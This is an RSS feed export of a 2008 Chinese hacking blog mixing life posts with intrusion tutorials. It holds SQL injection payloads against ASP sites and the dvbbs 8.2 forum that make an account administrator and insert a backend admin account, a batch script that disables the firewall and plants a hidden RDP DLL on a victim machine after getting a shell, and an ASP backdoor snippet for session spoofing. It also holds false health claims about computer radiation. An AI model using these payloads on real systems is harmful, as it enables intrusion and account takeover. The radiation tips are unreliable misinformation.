<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="/xsl/rss.xsl" type="text/xsl" media="screen"?>
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:ppp="http://blog.sohu.com/rss/module/ppp/"
	>

	<channel>
		<title>特洛伊剑客's Blog</title>
		<link>http://hackerkanger.blog.sohu.com/</link>
		<description><![CDATA[哎！。。。像哥这么拉风的男人.无论在什么地方.都像黑夜中的萤火虫一样.那样的鲜明.那样的出众.我那忧郁的眼神.稀嘘的胡喳子永远都是那么的帅气！。。。。。。]]></description>
		<pubDate>Fri, 18 Jul 2008 23:02:46 +0800</pubDate>
		<generator>搜狐博客</generator>
		<ppp:ebi>918b29b792</ppp:ebi>
		<image>
			<title>http://blog.sohu.com</title>
			<url>http://js.pp.sohu.com/ppp/blog/images/common/logo_150_60.gif</url>
			<link>http://blog.sohu.com/</link>
			<width>100</width>
			<height>43</height>
			<description>搜狐博客</description>
		</image>
		<item>
			<title>最有效防电脑辐射方法 </title>
			<link>http://hackerkanger.blog.sohu.com/94932620.html</link>
			<comments>http://hackerkanger.blog.sohu.com/94932620.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Fri, 18 Jul 2008 23:02:46 +0800</pubDate>
			<category>生活琐事</category>
			<guid>http://hackerkanger.blog.sohu.com/94932620.html</guid>
			<description><![CDATA[<p>第一招：在电脑旁放上几盆仙人掌，它可以有效地吸收辐射; </p>
<p><br />第二招：还对于生活紧张而忙碌的人群来说，抵御电脑辐射最简单的办法就是在每天上午喝2至3杯的绿茶，吃一个橘子。茶叶中含有丰富的维生素Ａ原，它被人体吸收后，能迅速转化为维生素Ａ。维生素Ａ不但能合成视紫红质，还能使眼睛在暗光下看东西更清楚，因此，绿茶不但能消除电脑辐射的危害，还能保护和提高视力。如果不习惯喝绿茶，菊花茶同样也能起着抵抗电脑辐射和调节身体功能的作用,螺旋藻、沙棘油也具有抗辐射的作用； </p>
<p><br />第三招：上网前先做好护肤隔离，如使用珍珠膜，独特的&quot;南珠翠膜&quot;在肌肤上形成一层0.001mm珍珠膜，可以有效防止污染环境的侵害和辐射;其次电脑使用后，脸上会吸附不少电磁辐射的颗粒，要及时用清水洗脸，这样将使所受辐射减轻70％以上！ </p>
<p><br />第四招：操作电脑时最好在显示屏上安一块电脑专用滤色板以减轻辐射的危害，室内不要放置闲杂金属物品，以免形成电磁波的再次发射。使用电脑时，要调整好屏幕的亮度，一般来说，屏幕亮度越大，电磁辐射越强，反之越小。不过，也不能调得太暗，以免因亮度太小而影响效果，且易造成眼睛疲劳。 </p>
<p><br />第五招:应尽可能购买新款的电脑，一般不要使用旧电脑，旧电脑的辐射一般较厉害，在同距离、同类机型的条件下，一般是新电脑的1－2倍。 </p>
<p><br />第六招:电脑摆放位置很重要。尽量别让屏幕的背面朝着有人的地方，因为电脑辐射最强的是背面，其次为左右两侧，屏幕的正面反而辐射最弱。以能看清楚字为准，至少也要50厘米到75厘米的距离，这样可以减少电磁辐射的伤害。 </p>
<p><br />第七招:　注意室内通风：科学研究证实，电脑的荧屏能产生一种叫溴化二苯并呋喃的致癌物质。所以，放置电脑的房间最好能安装换气扇，倘若没有，上网时尤其要注意通风。 </p>
<p><br />第八招:注意酌情多吃一些胡萝卜、豆芽、西红柿、瘦肉、动物肝等富含维生素A、C和蛋白质的食物，经常喝些绿茶等等。 </p>
<p>第九招:经常在电脑前工作的人常会觉得眼睛干涩疼痛，所以，在电脑桌上放几支香蕉很有必要，香蕉中的钾可帮助人体排出多余的盐分，让身体达到钾钠平衡，缓解眼睛的不适症状。此外，香蕉中含有大量的&beta;胡萝卜素，当人体缺乏这种物质时，眼睛就会变得疼痛、干涩、眼珠无光、失水少神，多吃香蕉不仅可减轻这些症状，还可在一定程度上缓解眼睛疲劳，避免眼睛过早衰老.<br /></p>]]></description>
		</item>
		    
		
		<item>
			<title>SQL脚本注入的不常见方法总结 </title>
			<link>http://hackerkanger.blog.sohu.com/94932585.html</link>
			<comments>http://hackerkanger.blog.sohu.com/94932585.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Fri, 18 Jul 2008 23:02:17 +0800</pubDate>
			<category>入侵技巧</category>
			<guid>http://hackerkanger.blog.sohu.com/94932585.html</guid>
			<description><![CDATA[大家在是否碰到过这样的站点： <br />全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担，提高访问速度。二来也阻止了SQL注入式的攻击。。 <br />我来说说他们的文章系统原理：全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。 <br />攻击方法： <br />查看源文件/看里面是否有通过JS来调用的页面。 <br />如调用&lt;script language=&quot;javascript&quot; src=&quot;count.asp?id=1552&quot;&gt;&lt;/script&gt;来更新文章的浏览次数。 <br />我们就可以这样来试一下可否注入： <br />http://服务器域名/count.asp?id=1552&rsquo; <br />看一下是否出错。如出错说明有注入漏洞。然后正常攻击。 <br />在本机建立一下post.htm的文件和log.txt的文本文件（用来记录用，这是一个好习惯） <br />post.htm内容：主要是方便输入。 <br />&lt;iframe name=p src=# width=800 height=350 frameborder=0&gt;&lt;/iframe&gt; <br />&lt;br&gt; <br />&lt;form action=http://test.com/count.asp target=p&gt; <br />&lt;input name=&quot;id&quot; value=&quot;1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=&rsquo;u&rsquo; and status&gt;0);--&quot; style=&quot;width:750&quot;&gt; <br />&lt;input type=submit value=&quot;&gt;&gt;&gt;&quot;&gt; <br />&lt;input type=hidden name=fno value=&quot;2, 3&quot;&gt; <br />&lt;/form&gt; <br />对于SQLSERVER的服务器可以这样判断：在1552后加一分号，如正常有可能是SQLSERVER <br />对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));-- <br />然后插入一条记录：id=1552;insert into aaa values(&rsquo;test&rsquo;);-- <br />再之后枚举出他的数据表名： <br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=&rsquo;u&rsquo; and status&gt;0);-- <br />这是将第一个表名更新到aaa的字段处。 <br />id=1552 and exists(select * from aaa where aaa&gt;5)就会报错，多数情况会将表名直接读出：看： <br />Microsoft OLE DB Provider for SQL Server 错误 &rsquo;80040e07&rsquo;&nbsp; <br />将 varchar 值 &rsquo;vote&rsquo; 转换为数据类型为 int 的列时发生语法错误。&nbsp; <br />/search.asp，行21 <br />其中vote就是表名： <br />也可以先猜出一个表名，再把(select top 1 name from sysobjects where xtype=&rsquo;u&rsquo; and status&gt;0)的值更新到那个表的一条记录中去。通过网页显示。 <br />读出第一个表，第二个表可以这样读出来（在条件后加上 and name&lt;&gt;&rsquo;刚才得到的表名&rsquo;）。 <br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=&rsquo;u&rsquo; and status&gt;0 and name&lt;&gt;&rsquo;vote&rsquo;);-- <br />然后id=1552 and exists(select * from aaa where aaa&gt;5) <br />读出第二个表，^^^^^^一个个的读出，直到没有为止。 <br />读字段是这样： <br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(&rsquo;表名&rsquo;),1));-- <br />然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名 <br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(&rsquo;表名&rsquo;),2));-- <br />然后id=1552 and exists(select * from aaa where aaa&gt;5)出错，得到字段名 <br />&hellip;&hellip;类推 ]]></description>
		</item>
		    
		
		<item>
			<title>让XP系统3389支持多人登陆 </title>
			<link>http://hackerkanger.blog.sohu.com/94931889.html</link>
			<comments>http://hackerkanger.blog.sohu.com/94931889.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Fri, 18 Jul 2008 22:55:00 +0800</pubDate>
			<category>入侵技巧</category>
			<guid>http://hackerkanger.blog.sohu.com/94931889.html</guid>
			<description><![CDATA[<p>第一步:首先是在Windows XP上安装SP2正式版，按照常规方式安装即可，这里不再赘述。&nbsp; </p>
<p>第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了，所以最好使用之前版本)，中文SP2测试版较难找到，我用的是英文版Build 2055，运行之后没有发现任何问题。你可以从<a href="http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act">http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&amp;act</a>&quot; target=&quot;_blank&quot;&gt;http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&amp;act&nbsp; <br />=Attach&amp;type=post&amp;id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件，你可以把它的扩展名改成ZIP文件，然后用WinRAR解开它。&nbsp; </p>
<p>第三步:接下来，以安全模式启动Windows XP，如果有多个操作系统，可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件，否则Windows 98不能访问NTFS分区，因此Windows 98可能没用)。然后，把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下，在所有TermSrv.DLL文件出现的位置，用Build 2055版本的TermSrv.DLL覆盖。通常，TermSrv.DLL至少出现在二个位置，分别是:\Windows\system32，\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方，就用Build 2055版本的TermSrv.DLL覆盖。&nbsp; </p>
<p>第四步:以正常模式启动Windows XP，如果系统的文件保护功能提示说TermSrv.DLL文件已被修改，并询问是否要复原，选择否。&nbsp; </p>
<p>第五步:最后还要修改一下注册表，增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错，你可以用下面的批命令修改注册表:&nbsp; </p>
<p>　　@echo off&nbsp; <br />　　setlocal&nbsp; <br />　　set regkey=&quot;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core&quot;&nbsp; <br />　　reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f&nbsp; <br />　　endlocal&nbsp; </p>
<p>　　将上述内容保存为一个批命令文件，如AA.BAT，双击执行一下就可以了。&nbsp; </p>
<p>我不推荐这种做法 ，太烦锁了，而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆，首先我们先来了解一个对注册表操作的命令参数：&nbsp; </p>
<p>REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]&nbsp; </p>
<p>KeyName [\\Machine\]FullKey&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Machine 远程机器名 - 忽略默认到当前机器。远程机器上&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 只有 HKLM 和 HKU。&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FullKey ROOTKEY\SubKey&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SubKey&nbsp;&nbsp; 所选 ROOTKEY 下注册表项的完整名。&nbsp; </p>
<p>/v&nbsp;&nbsp;&nbsp;&nbsp; 所选项之下要添加的值名。&nbsp; </p>
<p>/ve&nbsp;&nbsp;&nbsp;&nbsp; 为注册表项添加空白值名(默认)。&nbsp; </p>
<p>/t&nbsp;&nbsp;&nbsp;&nbsp; RegKey 数据类型&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ REG_SZ&nbsp;&nbsp; | REG_MULTI_SZ | REG_EXPAND_SZ |&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REG_DWORD | REG_BINARY&nbsp;&nbsp; | REG_NONE&nbsp;&nbsp;&nbsp;&nbsp; ]&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果忽略，则采用 REG_SZ。&nbsp; </p>
<p>/s&nbsp;&nbsp;&nbsp;&nbsp; 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果忽略，则将 &quot;\0&quot; 用作分隔符。&nbsp; </p>
<p>/d&nbsp;&nbsp;&nbsp;&nbsp; 要分配给添加的注册表 ValueName 的数据。&nbsp; </p>
<p>/f&nbsp;&nbsp;&nbsp;&nbsp; 不用提示就强行覆盖现有注册表项。&nbsp; </p>
<p>例如:&nbsp; </p>
<p>REG ADD <a href="file://abc/HKLM/Software/MyCo">\\ABC\HKLM\Software\MyCo</a>&nbsp; <br />&nbsp; 添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo&nbsp; </p>
<p>REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead&nbsp; <br />&nbsp; 添加一个值(名称: Data，类型: REG_BINARY，数据: fe340ead)&nbsp; </p>
<p>REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail&nbsp; <br />&nbsp; 添加一个值(名称: MRU，类型: REG_MUTLI_SZ，数据: fax\0mail\0\0)&nbsp; </p>
<p>REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%&nbsp; <br />&nbsp; 添加一个值(名称: Path，类型: REG_EXPAND_SZ，数据: %systemroot%)&nbsp; <br />&nbsp; 注意: 在扩充字符串中使用插入符号 ( ^ )&nbsp; </p>
<p>为了让系统不重起，我们可以用shutdown -a 这个命令。&nbsp; <br />根据上面找来的资料，我们可以编写一个批处理，实现XP系统多用户登陆而又不用重起系统。&nbsp; <br />代码如下：&nbsp; </p>
<p>@echo off&nbsp; <br />@net stop sharedaccess&nbsp; <br />@ntsd -c q -p &quot;pid&quot;&nbsp; <br />@reg add HKLM\SOFTWARE\Microsoft\Windows&quot; &quot;NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f&nbsp; <br />@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal&quot; &quot;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f&nbsp; <br />@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal&quot; &quot;server\Licensing&quot; &quot;Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f&nbsp; <br />@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f&nbsp; <br />@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll&nbsp; <br />@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll&nbsp; <br />@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll&nbsp; <br />@attrib +h +s +r c:\windows\system32\termsrvhack.dll&nbsp; <br />@shutdown -a&nbsp; <br />@del c:\termsrvhack.dll&nbsp; <br />@net start termservice&nbsp; <br />@del c:\3389.bat&nbsp; </p>
<p>其中&ldquo;pid&quot;是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。&nbsp; <br />具体的操作方法是&nbsp; <br />先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。&nbsp; <br />接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功!&nbsp; <br />最后打开登陆器,3389终端登陆!&nbsp; <br />说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的 </p>]]></description>
		</item>
		    
		
		<item>
			<title>暑假了！~</title>
			<link>http://hackerkanger.blog.sohu.com/93638289.html</link>
			<comments>http://hackerkanger.blog.sohu.com/93638289.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Fri, 4 Jul 2008 07:56:43 +0800</pubDate>
			<category>生活琐事</category>
			<guid>http://hackerkanger.blog.sohu.com/93638289.html</guid>
			<description><![CDATA[<p><font face="楷体_GB2312" color="#0000ff" size="5"><strong>哎！时间过的好快啊 ！一转眼大学的第一年就这么结束啦！期末刚刚考完试！考的挺好的！（有可能拿奖学金哦！哈！）今天就把电脑还有我的书和衣服什么的搬家去了，2个月的暑假，对我来说就是一种享受！不说啦！回家HAPPY去喽！</strong></font></p>]]></description>
		</item>
		    
		
		<item>
			<title>900多个精品计算机视频下载. </title>
			<link>http://hackerkanger.blog.sohu.com/90906304.html</link>
			<comments>http://hackerkanger.blog.sohu.com/90906304.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Mon, 23 Jun 2008 20:09:28 +0800</pubDate>
			<category>学习相关</category>
			<guid>http://hackerkanger.blog.sohu.com/90906304.html</guid>
			<description><![CDATA[<p>原文连接地址：</p>
<p>http://blog.xunlei.com/web/diary.html?uin=tphack&amp;diary_id=51</p>]]></description>
		</item>
		    
		
		<item>
			<title>实例讲解Cookies欺骗与session欺骗入侵</title>
			<link>http://hackerkanger.blog.sohu.com/90632984.html</link>
			<comments>http://hackerkanger.blog.sohu.com/90632984.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Fri, 20 Jun 2008 15:55:23 +0800</pubDate>
			<category>渗透技术</category>
			<guid>http://hackerkanger.blog.sohu.com/90632984.html</guid>
			<description><![CDATA[<div style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">出处:网管联盟<br /><br />cookies欺骗，就是在只对用户做cookies验证的系统中，通过修改cookies的内容来得到相应的用户权限登录。 <br />那么什么是cookies呢，我这里给大家一个专业的解释，cookies是一个储存于浏览器目录中的文本文件，记录你访问一个特定站点的信息，且只能被创建这个cookies的站点读回，约由255个字符组成，仅占4kb硬盘空间。当用户正在浏览某站点时，它储存于用户机的随机存取存储器ram中，退出浏览器后，它储存于用户的硬盘中。储存在cookies中的大部分信息是普通的，如当你浏览一个站点时，此文件记录了每一次的击键信息和被访站点的地址等。但是许多web站点使用cookies来储存针对私人的数据，如：注册口令、用户名、信用卡编号等。 <br /><br />什么是Session？当一个访问者来到你的网站的时候一个Session就开始了，当他离开的时候Session就结束了。本质是来说，cookie是和浏览器有关系，而Session变量就可以存一些资源变量在服务器上面。 <br /><br />我们先里看个实例，在6KBBS的login.asp找到113&mdash;124行，得到以下代码： <br />
<div>if <br />[url=<i>javascript</i>:]<font color="#949494">Copy code</font>[/url]<br />login=false then tl=&quot; 登 陆 失 败&quot; mes=mes&amp;&quot; <br />&middot;返回重新填写&quot; else response.cookies(prefix)(&quot;lgname&quot;)&nbsp;&nbsp;<br />=lgname session(prefix&quot;lgname&quot;)=&nbsp;&nbsp;<br />lgname response.cookies(prefix)(&quot;lgpwd&quot;)= <br />lgpwd response.cookies(prefix)(&quot;lgtype&quot;)= <br />lgtype response.cookies(prefix)(&quot;lgcook&quot;)=&nbsp;&nbsp;<br />cook if cook&gt;0 then response.cookies(prefix).expires= <br />date+cook end if </div><br />我们来分析下，如果你登录失败了他就显示你登录失败并引导你返回上一页，否则就给你写进cookies里面，如果你的cookies有的话那么你的过期时间就是你cookies的过期时间&mdash;&mdash;也就是你保存cookies的时间了。 <br /><br />这时，我们想到的是如果里面的信息是admin的，那一不就成了以管理员登陆了吗？ <br /><br />首先，我们先去注册一个用户，然后登录，有个cookies保存的选项，一定要选哦。我选择是保存一个月，因为保存了才会再你本机上写进它的cookies。接着，打开数据库，看admin表里面有什么东西，别的不管，你只要那个bd为16的那个人就行了。有可能没有，你可以到他们论坛去逛一下，看管理员是谁，然后在数据库里面拿他的账号和加密的密码来欺骗。 <br /><br />打开iecookiesview，这款软件是拿来察看和修改本机的cookies的，很方便我们的cookies欺骗入侵。 <br /><br />在iecookiesview 里找到你要欺骗的那个网站，看到了吗?有你的用户名和md5加密的密码，我们吧这两项改为管理员的，就是把刚才数据库里面的管理员账号和md5加密的密码代替你自己的。点击&ldquo;更改cookies&rdquo;，打开一个新的ie，然后再去访问那个论坛，看到没有?你现在已经是管理员了。 <br /><br />接着，麻烦的事出现了，后台登陆并不是以cookies来实现的，而是以session实现的 ，所以我们同样来欺骗session； <br /><br />首先简单说一下一般asp系统的身份验证原理。 一般来说，后台管理员在登录页面输入账号密码后，程序会拿着他提交的用户名密码去数据库的管理员表里面找，如果有这个人的账号密码就认为你是管理员，然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来，然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较，如果相等，就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值，如果是管理员就让你通过，不是的话就引导你回到登录页面。 <br /><br />找到manage/admin.asp，发现验证内容为： <br />
<div>[url=<i>javascript</i>:]<font color="#949494">Copy code</font>[/url]<br />... <br />else&nbsp;&nbsp;<br />　rs(&quot;LastLoginIP&quot;)=Request.ServerVariables(&quot;REMOTE_ADDR&quot;)&nbsp;&nbsp;<br />　rs(&quot;LastLoginTime&quot;)=now()&nbsp;&nbsp;<br />　rs(&quot;LoginTimes&quot;)=rs(&quot;LoginTimes&quot;)+1&nbsp;&nbsp;<br />　rs.update&nbsp;&nbsp;<br />　session.Timeout=SessionTimeout&nbsp;&nbsp;<br />　session(&quot;AdminName&quot;)=rs(&quot;username&quot;)&nbsp;&nbsp;<br />　rs.close&nbsp;&nbsp;<br />　set rs=nothing&nbsp;&nbsp;<br />　call CloseConn() </div><br />Response.Redirect &quot;Admin_Index.asp&quot; 很容易就知道如果没有获得验证就会出现两个session值： <br />
<div>[url=<i>javascript</i>:]<font color="#949494">Copy code</font>[/url]<br />session.Timeout=SessionTimeout </div><br />
<div>session(&quot;AdminName&quot;)=rs(&quot;username&quot;) </div>试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下： <br />
<div>[url=<i>javascript</i>:]<font color="#949494">Copy code</font>[/url]<br />dim id&nbsp;&nbsp;<br />id=trim(request(&quot;hc&quot;))&nbsp;&nbsp;<br />if id=&quot;16&quot; then&nbsp;&nbsp;<br />　session(&quot;AdminName&quot;)=&quot;admin&quot;&nbsp;&nbsp; <br />end if </div><br />分析上段代码，有个不定值--admin，可以根据实际情况来设置，不一定是admin；可以在一些不常去的页面来登陆，如：FriendSite.asp？hc=16返回时页面没有出现异样，这就行了，然后再次登陆manage/admin.asp,你会发现，你已经进入后台了。然后可以提权得弄服务器了。 &lt;-- Added by RelatedTopic, plugin for Bo-Blog 2.0.0 --&gt;</font></div>]]></description>
		</item>
		    
		
		<item>
			<title>教你入侵dvbbs 8.2 论坛 </title>
			<link>http://hackerkanger.blog.sohu.com/90416865.html</link>
			<comments>http://hackerkanger.blog.sohu.com/90416865.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Wed, 18 Jun 2008 10:41:41 +0800</pubDate>
			<category>渗透技术</category>
			<guid>http://hackerkanger.blog.sohu.com/90416865.html</guid>
			<description><![CDATA[<div>漏洞描述（具体引用原文如下）：<br />中国应用最广泛的论坛程序，最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp<br />Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号，导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。<br />特别注意：admin等。。。必须在论坛有注册。。。<br />就是登陆名必须是已经在论坛注册了的。。<br /><br /><br /><br /><br />随便找了一个论坛<a href="http://www./" target="_blank"><font color="#2f5fa1">http://www.</font></a>*******.net/首先注册一个帐户&ldquo;hxhack&rdquo;然后访问其登陆页面<br /><b></b><br /><img src="http://www.hxhack.com/bbs/attachment/19_90676_0a4d041449f4de8.jpg" border="0" /> <br /><br />在用户名处写入&ldquo;hxhack' and 'a'='a&rdquo;密码随便登陆看到其返回信息如图<br /><br /><b></b><br /><img src="http://www.hxhack.com/bbs/attachment/19_90676_d71a28fc288a06f.jpg" border="0" /> <br /><br />看用户名或密码不正确，然后我们在&ldquo;hxhack' and 'a'='b&rdquo;返回的信息如图<br /><b></b><br /><img src="http://www.hxhack.com/bbs/attachment/19_90676_1b488e8e9b8f9ba.jpg" border="0" /> <br /><br />很明显我们能发现第一次提交正确和第二次提交的不正确时两者返回的信息有着明显的差别。就说明他是可以利用的。那我就来将我的帐户提升为管理员吧！在用户名处写入&ldquo;';update dv_user set usergroupid=1 where username='hxhack'--&rdquo;密码我就用正确的来写然后写好后登陆看到反回的信息<br /><b></b><br /><img src="http://www.hxhack.com/bbs/attachment/19_90676_ff3240d8fb8faf7.jpg" border="0" /> <br /><br /><br />我们可以看到登陆提示为&ldquo;本论坛不存在该用户名&rdquo;这个就说明我们所提升的帐户&ldquo;hxhack&rdquo;已经为管理员了。<br /><br />现在我们已经是前台管理员了。<br /><br />那么怎样才能让我们的帐户具有后台<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">权限</span>呢？我们继续来到login.asp这个登陆页面。在用户名处写入&ldquo;hxhack';insert into dv_admin (username,password,flag,adduser) values<br /><br /><br />('hxhack','a5258dfb597d7a1a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,<br /><br /><br />24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','hxhack')--&rdquo;其中的&ldquo;a5258dfb597d7a1a&rdquo;是&ldquo;hxhack&rdquo;的MD5加密后的值，也就是说我们这里提升为后台管理权限的帐户的后台管理密码为&ldquo;hxhack&rdquo;。之后我们看看能否登陆后台，哈哈RP还行，成功了如图<br /><b></b><br /><img src="http://www.hxhack.com/bbs/attachment/19_90676_bd2c98d14111ea7.jpg" width="700" border="0" /> <br /><b></b><br /><img src="http://www.hxhack.com/bbs/attachment/19_90676_f5138be69ea45d5.jpg" border="0" /> <br />接来呢就是看看能否拿到webshell甚至提权了。这里我就不搞了<br />好了其实这个漏洞并没有<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">什么</span> ，至于ACCESS这个数据库的利用比较麻烦（本人比较懒就不搞了）！希望这篇菜鸟级的文章能给你一点收获。&nbsp; </div>]]></description>
		</item>
		    
		
		<item>
			<title>眼见为虚&#8212;&#8212;解析映像劫持技术 </title>
			<link>http://hackerkanger.blog.sohu.com/90171286.html</link>
			<comments>http://hackerkanger.blog.sohu.com/90171286.html#comment</comments>
			<dc:creator>特洛伊剑客's Blog</dc:creator>
			<pubDate>Sun, 15 Jun 2008 14:40:32 +0800</pubDate>
			<category>乱七八糟</category>
			<guid>http://hackerkanger.blog.sohu.com/90171286.html</guid>
			<description><![CDATA[一. 诡异的中毒现象<br />在成品检验科文员办公室的一台电脑上折腾半个小时后，计算机维护部门的技术员只觉得眼皮不停狂跳，因为从刚开始接手这个任务开始，他就一直在做无用功：他随身带的U盘里引以为豪的众多维护工具包在这台机器上全军覆没，无论他直接在U盘上运行还是随便复制到哪个目录里，系统都是报告&ldquo;找不到文件&rdquo;或者直接没有运行起来的反应，他第一次感受到了恐惧，文件分明就好好的在眼皮底下，可它们就是&ldquo;找不到&rdquo;或死活不肯执行，莫非是在这台机器上被<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">病毒</span>破坏了？他只好打开<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">网页</span>尝试重新下载，但是他很快就绝望了，刚下载的查杀工具同样也不能使用。<br />无奈之下他只好在众多文员的期待下说出了大部分号称上门维护电脑的高手们常用的一句话，一般情况下这句话马上能让大部分用户接受残酷的现实，允许其重装系统，并为这次重装系统付出50元的价格，这句话就是：&ldquo;系统文件严重损坏了，没法修了，只能重装。&rdquo;<br />装完系统和常用办公软件后，他像一个贼似的赶紧离开了办公室，生怕多呆一会儿就会惹来<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">什么</span>麻烦似的，而他却不知道，&ldquo;麻烦&rdquo;早已在他刚才使用的U盘上安家了。回到自己的电脑前，他刚右键点击U盘，就看见鼠标忙碌的状态比平时久了点，然后托盘区里的杀毒软件和网络防火墙都消失了，他心里一慌张，赶紧运行超级巡警，系统却报告&ldquo;找不到文件&rdquo;，他一下子呆在了电脑前：瘟神跟上门来了&hellip;&hellip;<br /><br />古语云：道高一尺，魔高一丈。这句经典<span style="CURSOR: pointer; BORDER-BOTTOM: #fa891b 1px solid">哲理</span>在网络上得到了迅速的延伸应用。今年初，一种早已有之的系统调试功能被应用到病毒技术上，从而摇身一变成为恶魔的代言人，普通用户很快就面临了一场莫名其妙的病毒灾难，这就是&ldquo;映像劫持&rdquo;。<br /><br /><br />二. 我本将心向明月，奈何明月照&hellip;&hellip;<br />&ldquo;映像劫持&rdquo;，也被称为&ldquo;IFEO&rdquo;（Image File Execution Options，其实应该称为&ldquo;Image Hijack&rdquo;，后面章节会详细提到，至少也应该称为IFEO Hijack而不是只有&ldquo;IFEO&rdquo;自身！），它的存在自然有它的理由，在WindowsNT架构的系统里，IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定，系统厂商之所以会这么做，是有一定历史原因的，在Windows 